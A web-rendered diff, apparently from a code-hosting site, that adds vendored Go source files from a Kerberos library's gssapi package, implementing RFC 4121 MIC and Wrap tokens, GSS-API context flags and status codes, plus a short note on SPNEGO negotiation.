||||
return s2kParamsZero, errors.New("Invalid s2kparams, cannot convert to big endian int32")
|
||||
}
|
||||
return int(i), nil
|
||||
}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
package gssapi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/hmac"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/keyusage"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
/*
|
||||
From RFC 4121, section 4.2.6.1:
|
||||
|
||||
Use of the GSS_GetMIC() call yields a token (referred as the MIC
|
||||
token in this document), separate from the user data being protected,
|
||||
which can be used to verify the integrity of that data as received.
|
||||
The token has the following format:
|
||||
|
||||
Octet no Name Description
|
||||
--------------------------------------------------------------
|
||||
0..1 TOK_ID Identification field. Tokens emitted by
|
||||
GSS_GetMIC() contain the hex value 04 04
|
||||
expressed in big-endian order in this
|
||||
field.
|
||||
2 Flags Attributes field, as described in section
|
||||
4.2.2.
|
||||
3..7 Filler Contains five octets of hex value FF.
|
||||
8..15 SND_SEQ Sequence number field in clear text,
|
||||
expressed in big-endian order.
|
||||
16..last SGN_CKSUM Checksum of the "to-be-signed" data and
|
||||
octet 0..15, as described in section 4.2.4.
|
||||
|
||||
The Filler field is included in the checksum calculation for
|
||||
simplicity.
|
||||
|
||||
*/
|
||||
|
||||
const (
|
||||
// MICTokenFlagSentByAcceptor - this flag indicates the sender is the context acceptor. When not set, it indicates the sender is the context initiator
|
||||
MICTokenFlagSentByAcceptor = 1 << iota
|
||||
// MICTokenFlagSealed - this flag indicates confidentiality is provided for. It SHALL NOT be set in MIC tokens
|
||||
MICTokenFlagSealed
|
||||
// MICTokenFlagAcceptorSubkey - a subkey asserted by the context acceptor is used to protect the message
|
||||
MICTokenFlagAcceptorSubkey
|
||||
)
|
||||
|
||||
const (
|
||||
micHdrLen = 16 // Length of the MIC Token's header
|
||||
)
|
||||
|
||||
// MICToken represents a GSS API MIC token, as defined in RFC 4121.
|
||||
// It contains the header fields, the payload (this is not transmitted) and
|
||||
// the checksum, and provides the logic for converting to/from bytes plus
|
||||
// computing and verifying checksums
|
||||
type MICToken struct {
|
||||
// const GSS Token ID: 0x0404
|
||||
Flags byte // contains three flags: acceptor, sealed, acceptor subkey
|
||||
// const Filler: 0xFF 0xFF 0xFF 0xFF 0xFF
|
||||
SndSeqNum uint64 // sender's sequence number. big-endian
|
||||
Payload []byte // your data! :)
|
||||
Checksum []byte // checksum of { payload | header }
|
||||
}
|
||||
|
||||
// Return the 2 bytes identifying a GSS API MIC token
|
||||
func getGSSMICTokenID() *[2]byte {
|
||||
return &[2]byte{0x04, 0x04}
|
||||
}
|
||||
|
||||
// Return the filler bytes used in header
|
||||
func fillerBytes() *[5]byte {
|
||||
return &[5]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
|
||||
}
|
||||
|
||||
// Marshal the MICToken into a byte slice.
|
||||
// The payload should have been set and the checksum computed, otherwise an error is returned.
|
||||
func (mt *MICToken) Marshal() ([]byte, error) {
|
||||
if mt.Checksum == nil {
|
||||
return nil, errors.New("checksum has not been set")
|
||||
}
|
||||
|
||||
bytes := make([]byte, micHdrLen+len(mt.Checksum))
|
||||
copy(bytes[0:micHdrLen], mt.getMICChecksumHeader()[:])
|
||||
copy(bytes[micHdrLen:], mt.Checksum)
|
||||
|
||||
return bytes, nil
|
||||
}
|
||||
|
||||
// SetChecksum uses the passed encryption key and key usage to compute the checksum over the payload and
|
||||
// the header, and sets the Checksum field of this MICToken.
|
||||
// If the payload has not been set or the checksum has already been set, an error is returned.
|
||||
func (mt *MICToken) SetChecksum(key types.EncryptionKey, keyUsage uint32) error {
|
||||
if mt.Checksum != nil {
|
||||
return errors.New("checksum has already been computed")
|
||||
}
|
||||
checksum, err := mt.checksum(key, keyUsage)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
mt.Checksum = checksum
|
||||
return nil
|
||||
}
|
||||
|
||||
// Compute and return the checksum of this token, computed using the passed key and key usage.
|
||||
// Confirms to RFC 4121 in that the checksum will be computed over { body | header }.
|
||||
// In the context of Kerberos MIC tokens, mostly keyusage GSSAPI_ACCEPTOR_SIGN (=23)
|
||||
// and GSSAPI_INITIATOR_SIGN (=25) will be used.
|
||||
// Note: This will NOT update the struct's Checksum field.
|
||||
func (mt *MICToken) checksum(key types.EncryptionKey, keyUsage uint32) ([]byte, error) {
|
||||
if mt.Payload == nil {
|
||||
return nil, errors.New("cannot compute checksum with uninitialized payload")
|
||||
}
|
||||
d := make([]byte, micHdrLen+len(mt.Payload))
|
||||
copy(d[0:], mt.Payload)
|
||||
copy(d[len(mt.Payload):], mt.getMICChecksumHeader())
|
||||
|
||||
encType, err := crypto.GetEtype(key.KeyType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return encType.GetChecksumHash(key.KeyValue, d, keyUsage)
|
||||
}
|
||||
|
||||
// Build a header suitable for a checksum computation
|
||||
func (mt *MICToken) getMICChecksumHeader() []byte {
|
||||
header := make([]byte, micHdrLen)
|
||||
copy(header[0:2], getGSSMICTokenID()[:])
|
||||
header[2] = mt.Flags
|
||||
copy(header[3:8], fillerBytes()[:])
|
||||
binary.BigEndian.PutUint64(header[8:16], mt.SndSeqNum)
|
||||
return header
|
||||
}
|
||||
|
||||
// Verify computes the token's checksum with the provided key and usage,
|
||||
// and compares it to the checksum present in the token.
|
||||
// In case of any failure, (false, err) is returned, with err an explanatory error.
|
||||
func (mt *MICToken) Verify(key types.EncryptionKey, keyUsage uint32) (bool, error) {
|
||||
computed, err := mt.checksum(key, keyUsage)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if !hmac.Equal(computed, mt.Checksum) {
|
||||
return false, fmt.Errorf(
|
||||
"checksum mismatch. Computed: %s, Contained in token: %s",
|
||||
hex.EncodeToString(computed), hex.EncodeToString(mt.Checksum))
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Unmarshal bytes into the corresponding MICToken.
|
||||
// If expectFromAcceptor is true we expect the token to have been emitted by the gss acceptor,
|
||||
// and will check the according flag, returning an error if the token does not match the expectation.
|
||||
func (mt *MICToken) Unmarshal(b []byte, expectFromAcceptor bool) error {
|
||||
if len(b) < micHdrLen {
|
||||
return errors.New("bytes shorter than header length")
|
||||
}
|
||||
if !bytes.Equal(getGSSMICTokenID()[:], b[0:2]) {
|
||||
return fmt.Errorf("wrong Token ID, Expected %s, was %s",
|
||||
hex.EncodeToString(getGSSMICTokenID()[:]),
|
||||
hex.EncodeToString(b[0:2]))
|
||||
}
|
||||
flags := b[2]
|
||||
isFromAcceptor := flags&MICTokenFlagSentByAcceptor != 0
|
||||
if isFromAcceptor && !expectFromAcceptor {
|
||||
return errors.New("unexpected acceptor flag is set: not expecting a token from the acceptor")
|
||||
}
|
||||
if !isFromAcceptor && expectFromAcceptor {
|
||||
return errors.New("unexpected acceptor flag is not set: expecting a token from the acceptor, not in the initiator")
|
||||
}
|
||||
if !bytes.Equal(b[3:8], fillerBytes()[:]) {
|
||||
return fmt.Errorf("unexpected filler bytes: expecting %s, was %s",
|
||||
hex.EncodeToString(fillerBytes()[:]),
|
||||
hex.EncodeToString(b[3:8]))
|
||||
}
|
||||
|
||||
mt.Flags = flags
|
||||
mt.SndSeqNum = binary.BigEndian.Uint64(b[8:16])
|
||||
mt.Checksum = b[micHdrLen:]
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewInitiatorMICToken builds a new initiator token (acceptor flag will be set to 0) and computes the authenticated checksum.
|
||||
// Other flags are set to 0.
|
||||
// Note that in certain circumstances you may need to provide a sequence number that has been defined earlier.
|
||||
// This is currently not supported.
|
||||
func NewInitiatorMICToken(payload []byte, key types.EncryptionKey) (*MICToken, error) {
|
||||
token := MICToken{
|
||||
Flags: 0x00,
|
||||
SndSeqNum: 0,
|
||||
Payload: payload,
|
||||
}
|
||||
|
||||
if err := token.SetChecksum(key, keyusage.GSSAPI_INITIATOR_SIGN); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &token, nil
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
# Notes on GSS-API Negotiation Mechanism
|
||||
https://tools.ietf.org/html/rfc4178
|
||||
|
||||
Client sends an initial negotiation message to the server which specifies the list of mechanisms
|
||||
the client can support in order of decreasing preference.
|
||||
This message is generated with the ``NewNegTokenInitKrb5`` method.
|
||||
The message generated by this function specifies only a kerberos v5 mechanism is supported.
|
||||
|
||||
The RFC states that this message can optionally contain the initial mechanism token
|
||||
for the preferred mechanism (KRB5 in this case) of the client. The ``NewNegTokenInitKrb5``
|
||||
includes this in the message.
|
||||
|
||||
The server side responds to this message with a one of four messages:
|
||||
|
||||
| Message Type/State | Description |
|
||||
|--------------------|-------------|
|
||||
| accept-completed | indicates that the initiator-selected mechanism was acceptable to the target, and that the security mechanism token embedded in the first negotiation message was sufficient to complete the authentication |
|
||||
| accept-incomplete | At least one more message is needed from the client to establish security context. |
|
||||
| reject | Negotiation is being terminated. |
|
||||
| request-mic | (this state can only be present in the first reply message from the target) indicates that the MIC token exchange is REQUIRED if per-message integrity services are available |
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
package gssapi
|
||||
|
||||
import "github.com/jcmturner/gofork/encoding/asn1"
|
||||
|
||||
// GSS-API context flags assigned numbers.
|
||||
const (
|
||||
ContextFlagDeleg = 1
|
||||
ContextFlagMutual = 2
|
||||
ContextFlagReplay = 4
|
||||
ContextFlagSequence = 8
|
||||
ContextFlagConf = 16
|
||||
ContextFlagInteg = 32
|
||||
ContextFlagAnon = 64
|
||||
)
|
||||
|
||||
// ContextFlags flags for GSSAPI
|
||||
type ContextFlags asn1.BitString
|
||||
|
||||
// NewContextFlags creates a new ContextFlags instance.
|
||||
func NewContextFlags() ContextFlags {
|
||||
var c ContextFlags
|
||||
c.BitLength = 32
|
||||
c.Bytes = make([]byte, 4)
|
||||
return c
|
||||
}
|
||||
+199
@@ -0,0 +1,199 @@
|
||||
// Package gssapi implements Generic Security Services Application Program Interface required for SPNEGO kerberos authentication.
|
||||
package gssapi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/jcmturner/gofork/encoding/asn1"
|
||||
)
|
||||
|
||||
// GSS-API OID names
|
||||
const (
|
||||
// GSS-API OID names
|
||||
OIDKRB5 OIDName = "KRB5" // MechType OID for Kerberos 5
|
||||
OIDMSLegacyKRB5 OIDName = "MSLegacyKRB5" // MechType OID for Kerberos 5
|
||||
OIDSPNEGO OIDName = "SPNEGO"
|
||||
)
|
||||
|
||||
// GSS-API status values
|
||||
const (
|
||||
StatusBadBindings = 1 << iota
|
||||
StatusBadMech
|
||||
StatusBadName
|
||||
StatusBadNameType
|
||||
StatusBadStatus
|
||||
StatusBadSig
|
||||
StatusBadMIC
|
||||
StatusContextExpired
|
||||
StatusCredentialsExpired
|
||||
StatusDefectiveCredential
|
||||
StatusDefectiveToken
|
||||
StatusFailure
|
||||
StatusNoContext
|
||||
StatusNoCred
|
||||
StatusBadQOP
|
||||
StatusUnauthorized
|
||||
StatusUnavailable
|
||||
StatusDuplicateElement
|
||||
StatusNameNotMN
|
||||
StatusComplete
|
||||
StatusContinueNeeded
|
||||
StatusDuplicateToken
|
||||
StatusOldToken
|
||||
StatusUnseqToken
|
||||
StatusGapToken
|
||||
)
|
||||
|
||||
// ContextToken is an interface for a GSS-API context token.
|
||||
type ContextToken interface {
|
||||
Marshal() ([]byte, error)
|
||||
Unmarshal(b []byte) error
|
||||
Verify() (bool, Status)
|
||||
Context() context.Context
|
||||
}
|
||||
|
||||
/*
|
||||
CREDENTIAL MANAGEMENT
|
||||
|
||||
GSS_Acquire_cred acquire credentials for use
|
||||
GSS_Release_cred release credentials after use
|
||||
GSS_Inquire_cred display information about credentials
|
||||
GSS_Add_cred construct credentials incrementally
|
||||
GSS_Inquire_cred_by_mech display per-mechanism credential information
|
||||
|
||||
CONTEXT-LEVEL CALLS
|
||||
|
||||
GSS_Init_sec_context initiate outbound security context
|
||||
GSS_Accept_sec_context accept inbound security context
|
||||
GSS_Delete_sec_context flush context when no longer needed
|
||||
GSS_Process_context_token process received control token on context
|
||||
GSS_Context_time indicate validity time remaining on context
|
||||
GSS_Inquire_context display information about context
|
||||
GSS_Wrap_size_limit determine GSS_Wrap token size limit
|
||||
GSS_Export_sec_context transfer context to other process
|
||||
GSS_Import_sec_context import transferred context
|
||||
|
||||
PER-MESSAGE CALLS
|
||||
|
||||
GSS_GetMIC apply integrity check, receive as token separate from message
|
||||
GSS_VerifyMIC validate integrity check token along with message
|
||||
GSS_Wrap sign, optionally encrypt, encapsulate
|
||||
GSS_Unwrap decapsulate, decrypt if needed, validate integrity check
|
||||
|
||||
SUPPORT CALLS
|
||||
|
||||
GSS_Display_status translate status codes to printable form
|
||||
GSS_Indicate_mechs indicate mech_types supported on local system
|
||||
GSS_Compare_name compare two names for equality
|
||||
GSS_Display_name translate name to printable form
|
||||
GSS_Import_name convert printable name to normalized form
|
||||
GSS_Release_name free storage of normalized-form name
|
||||
GSS_Release_buffer free storage of general GSS-allocated object
|
||||
GSS_Release_OID_set free storage of OID set object
|
||||
GSS_Create_empty_OID_set create empty OID set
|
||||
GSS_Add_OID_set_member add member to OID set
|
||||
GSS_Test_OID_set_member test if OID is member of OID set
|
||||
GSS_Inquire_names_for_mech indicate name types supported by mechanism
|
||||
GSS_Inquire_mechs_for_name indicates mechanisms supporting name type
|
||||
GSS_Canonicalize_name translate name to per-mechanism form
|
||||
GSS_Export_name externalize per-mechanism name
|
||||
GSS_Duplicate_name duplicate name object
|
||||
*/
|
||||
|
||||
// Mechanism is the GSS-API interface for authentication mechanisms.
|
||||
type Mechanism interface {
|
||||
OID() asn1.ObjectIdentifier
|
||||
AcquireCred() error // acquire credentials for use (eg. AS exchange for KRB5)
|
||||
InitSecContext() (ContextToken, error) // initiate outbound security context (eg TGS exchange builds AP_REQ to go into ContextToken to send to service)
|
||||
AcceptSecContext(ct ContextToken) (bool, context.Context, Status) // service verifies the token server side to establish a context
|
||||
MIC() MICToken // apply integrity check, receive as token separate from message
|
||||
VerifyMIC(mt MICToken) (bool, error) // validate integrity check token along with message
|
||||
Wrap(msg []byte) WrapToken // sign, optionally encrypt, encapsulate
|
||||
Unwrap(wt WrapToken) []byte // decapsulate, decrypt if needed, validate integrity check
|
||||
}
|
||||
|
||||
// OIDName is the type for defined GSS-API OIDs.
|
||||
type OIDName string
|
||||
|
||||
// OID returns the OID for the provided OID name.
|
||||
func OID(o OIDName) asn1.ObjectIdentifier {
|
||||
switch o {
|
||||
case OIDSPNEGO:
|
||||
return asn1.ObjectIdentifier{1, 3, 6, 1, 5, 5, 2}
|
||||
case OIDKRB5:
|
||||
return asn1.ObjectIdentifier{1, 2, 840, 113554, 1, 2, 2}
|
||||
case OIDMSLegacyKRB5:
|
||||
return asn1.ObjectIdentifier{1, 2, 840, 48018, 1, 2, 2}
|
||||
}
|
||||
return asn1.ObjectIdentifier{}
|
||||
}
|
||||
|
||||
// Status is the GSS-API status and implements the error interface.
|
||||
type Status struct {
|
||||
Code int
|
||||
Message string
|
||||
}
|
||||
|
||||
// Error returns the Status description.
|
||||
func (s Status) Error() string {
|
||||
var str string
|
||||
switch s.Code {
|
||||
case StatusBadBindings:
|
||||
str = "channel binding mismatch"
|
||||
case StatusBadMech:
|
||||
str = "unsupported mechanism requested"
|
||||
case StatusBadName:
|
||||
str = "invalid name provided"
|
||||
case StatusBadNameType:
|
||||
str = "name of unsupported type provided"
|
||||
case StatusBadStatus:
|
||||
str = "invalid input status selector"
|
||||
case StatusBadSig:
|
||||
str = "token had invalid integrity check"
|
||||
case StatusBadMIC:
|
||||
str = "preferred alias for GSS_S_BAD_SIG"
|
||||
case StatusContextExpired:
|
||||
str = "specified security context expired"
|
||||
case StatusCredentialsExpired:
|
||||
str = "expired credentials detected"
|
||||
case StatusDefectiveCredential:
|
||||
str = "defective credential detected"
|
||||
case StatusDefectiveToken:
|
||||
str = "defective token detected"
|
||||
case StatusFailure:
|
||||
str = "failure, unspecified at GSS-API level"
|
||||
case StatusNoContext:
|
||||
str = "no valid security context specified"
|
||||
case StatusNoCred:
|
||||
str = "no valid credentials provided"
|
||||
case StatusBadQOP:
|
||||
str = "unsupported QOP valu"
|
||||
case StatusUnauthorized:
|
||||
str = "operation unauthorized"
|
||||
case StatusUnavailable:
|
||||
str = "operation unavailable"
|
||||
case StatusDuplicateElement:
|
||||
str = "duplicate credential element requested"
|
||||
case StatusNameNotMN:
|
||||
str = "name contains multi-mechanism elements"
|
||||
case StatusComplete:
|
||||
str = "normal completion"
|
||||
case StatusContinueNeeded:
|
||||
str = "continuation call to routine required"
|
||||
case StatusDuplicateToken:
|
||||
str = "duplicate per-message token detected"
|
||||
case StatusOldToken:
|
||||
str = "timed-out per-message token detected"
|
||||
case StatusUnseqToken:
|
||||
str = "reordered (early) per-message token detected"
|
||||
case StatusGapToken:
|
||||
str = "skipped predecessor token(s) detected"
|
||||
default:
|
||||
str = "unknown GSS-API error status"
|
||||
}
|
||||
if s.Message != "" {
|
||||
return fmt.Sprintf("%s: %s", str, s.Message)
|
||||
}
|
||||
return str
|
||||
}
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
package gssapi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/hmac"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/keyusage"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
/*
|
||||
From RFC 4121, section 4.2.6.2:
|
||||
|
||||
Use of the GSS_Wrap() call yields a token (referred as the Wrap token
|
||||
in this document), which consists of a descriptive header, followed
|
||||
by a body portion that contains either the input user data in
|
||||
plaintext concatenated with the checksum, or the input user data
|
||||
encrypted. The GSS_Wrap() token SHALL have the following format:
|
||||
|
||||
Octet no Name Description
|
||||
--------------------------------------------------------------
|
||||
0..1 TOK_ID Identification field. Tokens emitted by
|
||||
GSS_Wrap() contain the hex value 05 04
|
||||
expressed in big-endian order in this
|
||||
field.
|
||||
2 Flags Attributes field, as described in section
|
||||
4.2.2.
|
||||
3 Filler Contains the hex value FF.
|
||||
4..5 EC Contains the "extra count" field, in big-
|
||||
endian order as described in section 4.2.3.
|
||||
6..7 RRC Contains the "right rotation count" in big-
|
||||
endian order, as described in section
|
||||
4.2.5.
|
||||
8..15 SndSeqNum Sequence number field in clear text,
|
||||
expressed in big-endian order.
|
||||
16..last Data Encrypted data for Wrap tokens with
|
||||
confidentiality, or plaintext data followed
|
||||
by the checksum for Wrap tokens without
|
||||
confidentiality, as described in section
|
||||
4.2.4.
|
||||
|
||||
Quick notes:
|
||||
- "EC" or "Extra Count" refers to the length of the checksum.
|
||||
- "Flags" (complete details in section 4.2.2) is a set of bits:
|
||||
- if bit 0 is set, it means the token was sent by the acceptor (generally the kerberized service).
|
||||
- bit 1 indicates that the token's payload is encrypted
|
||||
- bit 2 indicates if the message is protected using a subkey defined by the acceptor.
|
||||
- When computing checksums, EC and RRC MUST be set to 0.
|
||||
- Wrap Tokens are not ASN.1 encoded.
|
||||
*/
|
||||
const (
|
||||
HdrLen = 16 // Length of the Wrap Token's header
|
||||
FillerByte byte = 0xFF
|
||||
)
|
||||
|
||||
// WrapToken represents a GSS API Wrap token, as defined in RFC 4121.
|
||||
// It contains the header fields, the payload and the checksum, and provides
|
||||
// the logic for converting to/from bytes plus computing and verifying checksums
|
||||
type WrapToken struct {
|
||||
// const GSS Token ID: 0x0504
|
||||
Flags byte // contains three flags: acceptor, sealed, acceptor subkey
|
||||
// const Filler: 0xFF
|
||||
EC uint16 // checksum length. big-endian
|
||||
RRC uint16 // right rotation count. big-endian
|
||||
SndSeqNum uint64 // sender's sequence number. big-endian
|
||||
Payload []byte // your data! :)
|
||||
CheckSum []byte // authenticated checksum of { payload | header }
|
||||
}
|
||||
|
||||
// Return the 2 bytes identifying a GSS API Wrap token
|
||||
func getGssWrapTokenId() *[2]byte {
|
||||
return &[2]byte{0x05, 0x04}
|
||||
}
|
||||
|
||||
// Marshal the WrapToken into a byte slice.
|
||||
// The payload should have been set and the checksum computed, otherwise an error is returned.
|
||||
func (wt *WrapToken) Marshal() ([]byte, error) {
|
||||
if wt.CheckSum == nil {
|
||||
return nil, errors.New("checksum has not been set")
|
||||
}
|
||||
if wt.Payload == nil {
|
||||
return nil, errors.New("payload has not been set")
|
||||
}
|
||||
|
||||
pldOffset := HdrLen // Offset of the payload in the token
|
||||
chkSOffset := HdrLen + len(wt.Payload) // Offset of the checksum in the token
|
||||
|
||||
bytes := make([]byte, chkSOffset+int(wt.EC))
|
||||
copy(bytes[0:], getGssWrapTokenId()[:])
|
||||
bytes[2] = wt.Flags
|
||||
bytes[3] = FillerByte
|
||||
binary.BigEndian.PutUint16(bytes[4:6], wt.EC)
|
||||
binary.BigEndian.PutUint16(bytes[6:8], wt.RRC)
|
||||
binary.BigEndian.PutUint64(bytes[8:16], wt.SndSeqNum)
|
||||
copy(bytes[pldOffset:], wt.Payload)
|
||||
copy(bytes[chkSOffset:], wt.CheckSum)
|
||||
return bytes, nil
|
||||
}
|
||||
|
||||
// SetCheckSum uses the passed encryption key and key usage to compute the checksum over the payload and
|
||||
// the header, and sets the CheckSum field of this WrapToken.
|
||||
// If the payload has not been set or the checksum has already been set, an error is returned.
|
||||
func (wt *WrapToken) SetCheckSum(key types.EncryptionKey, keyUsage uint32) error {
|
||||
if wt.Payload == nil {
|
||||
return errors.New("payload has not been set")
|
||||
}
|
||||
if wt.CheckSum != nil {
|
||||
return errors.New("checksum has already been computed")
|
||||
}
|
||||
chkSum, cErr := wt.computeCheckSum(key, keyUsage)
|
||||
if cErr != nil {
|
||||
return cErr
|
||||
}
|
||||
wt.CheckSum = chkSum
|
||||
return nil
|
||||
}
|
||||
|
||||
// ComputeCheckSum computes and returns the checksum of this token, computed using the passed key and key usage.
|
||||
// Conforms to RFC 4121 in that the checksum will be computed over { body | header },
|
||||
// with the EC and RRC flags zeroed out.
|
||||
// In the context of Kerberos Wrap tokens, mostly keyusage GSSAPI_ACCEPTOR_SEAL (=22)
|
||||
// and GSSAPI_INITIATOR_SEAL (=24) will be used.
|
||||
// Note: This will NOT update the struct's Checksum field.
|
||||
func (wt *WrapToken) computeCheckSum(key types.EncryptionKey, keyUsage uint32) ([]byte, error) {
|
||||
if wt.Payload == nil {
|
||||
return nil, errors.New("cannot compute checksum with uninitialized payload")
|
||||
}
|
||||
// Build a slice containing { payload | header }
|
||||
checksumMe := make([]byte, HdrLen+len(wt.Payload))
|
||||
copy(checksumMe[0:], wt.Payload)
|
||||
copy(checksumMe[len(wt.Payload):], getChecksumHeader(wt.Flags, wt.SndSeqNum))
|
||||
|
||||
encType, err := crypto.GetEtype(key.KeyType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return encType.GetChecksumHash(key.KeyValue, checksumMe, keyUsage)
|
||||
}
|
||||
|
||||
// Build a header suitable for a checksum computation
|
||||
func getChecksumHeader(flags byte, senderSeqNum uint64) []byte {
|
||||
header := make([]byte, 16)
|
||||
copy(header[0:], []byte{0x05, 0x04, flags, 0xFF, 0x00, 0x00, 0x00, 0x00})
|
||||
binary.BigEndian.PutUint64(header[8:], senderSeqNum)
|
||||
return header
|
||||
}
|
||||
|
||||
// Verify computes the token's checksum with the provided key and usage,
|
||||
// and compares it to the checksum present in the token.
|
||||
// In case of any failure, (false, Err) is returned, with Err an explanatory error.
|
||||
func (wt *WrapToken) Verify(key types.EncryptionKey, keyUsage uint32) (bool, error) {
|
||||
computed, cErr := wt.computeCheckSum(key, keyUsage)
|
||||
if cErr != nil {
|
||||
return false, cErr
|
||||
}
|
||||
if !hmac.Equal(computed, wt.CheckSum) {
|
||||
return false, fmt.Errorf(
|
||||
"checksum mismatch. Computed: %s, Contained in token: %s",
|
||||
hex.EncodeToString(computed), hex.EncodeToString(wt.CheckSum))
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// Unmarshal bytes into the corresponding WrapToken.
|
||||
// If expectFromAcceptor is true, we expect the token to have been emitted by the gss acceptor,
|
||||
// and will check the according flag, returning an error if the token does not match the expectation.
|
||||
func (wt *WrapToken) Unmarshal(b []byte, expectFromAcceptor bool) error {
|
||||
// Check if we can read a whole header
|
||||
if len(b) < 16 {
|
||||
return errors.New("bytes shorter than header length")
|
||||
}
|
||||
// Is the Token ID correct?
|
||||
if !bytes.Equal(getGssWrapTokenId()[:], b[0:2]) {
|
||||
return fmt.Errorf("wrong Token ID. Expected %s, was %s",
|
||||
hex.EncodeToString(getGssWrapTokenId()[:]),
|
||||
hex.EncodeToString(b[0:2]))
|
||||
}
|
||||
// Check the acceptor flag
|
||||
flags := b[2]
|
||||
isFromAcceptor := flags&0x01 == 1
|
||||
if isFromAcceptor && !expectFromAcceptor {
|
||||
return errors.New("unexpected acceptor flag is set: not expecting a token from the acceptor")
|
||||
}
|
||||
if !isFromAcceptor && expectFromAcceptor {
|
||||
return errors.New("expected acceptor flag is not set: expecting a token from the acceptor, not the initiator")
|
||||
}
|
||||
// Check the filler byte
|
||||
if b[3] != FillerByte {
|
||||
return fmt.Errorf("unexpected filler byte: expecting 0xFF, was %s ", hex.EncodeToString(b[3:4]))
|
||||
}
|
||||
checksumL := binary.BigEndian.Uint16(b[4:6])
|
||||
// Sanity check on the checksum length
|
||||
if int(checksumL) > len(b)-HdrLen {
|
||||
return fmt.Errorf("inconsistent checksum length: %d bytes to parse, checksum length is %d", len(b), checksumL)
|
||||
}
|
||||
|
||||
wt.Flags = flags
|
||||
wt.EC = checksumL
|
||||
wt.RRC = binary.BigEndian.Uint16(b[6:8])
|
||||
wt.SndSeqNum = binary.BigEndian.Uint64(b[8:16])
|
||||
wt.Payload = b[16 : len(b)-int(checksumL)]
|
||||
wt.CheckSum = b[len(b)-int(checksumL):]
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewInitiatorWrapToken builds a new initiator token (acceptor flag will be set to 0) and computes the authenticated checksum.
|
||||
// Other flags are set to 0, and the RRC and sequence number are initialized to 0.
|
||||
// Note that in certain circumstances you may need to provide a sequence number that has been defined earlier.
|
||||
// This is currently not supported.
|
||||
func NewInitiatorWrapToken(payload []byte, key types.EncryptionKey) (*WrapToken, error) {
|
||||
encType, err := crypto.GetEtype(key.KeyType)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
token := WrapToken{
|
||||
Flags: 0x00, // all zeroed out (this is a token sent by the initiator)
|
||||
// Checksum size: length of output of the HMAC function, in bytes.
|
||||
EC: uint16(encType.GetHMACBitLength() / 8),
|
||||
RRC: 0,
|
||||
SndSeqNum: 0,
|
||||
Payload: payload,
|
||||
}
|
||||
|
||||
if err := token.SetCheckSum(key, keyusage.GSSAPI_INITIATOR_SEAL); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &token, nil
|
||||
}
|
||||
Loaded 100 of 797 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user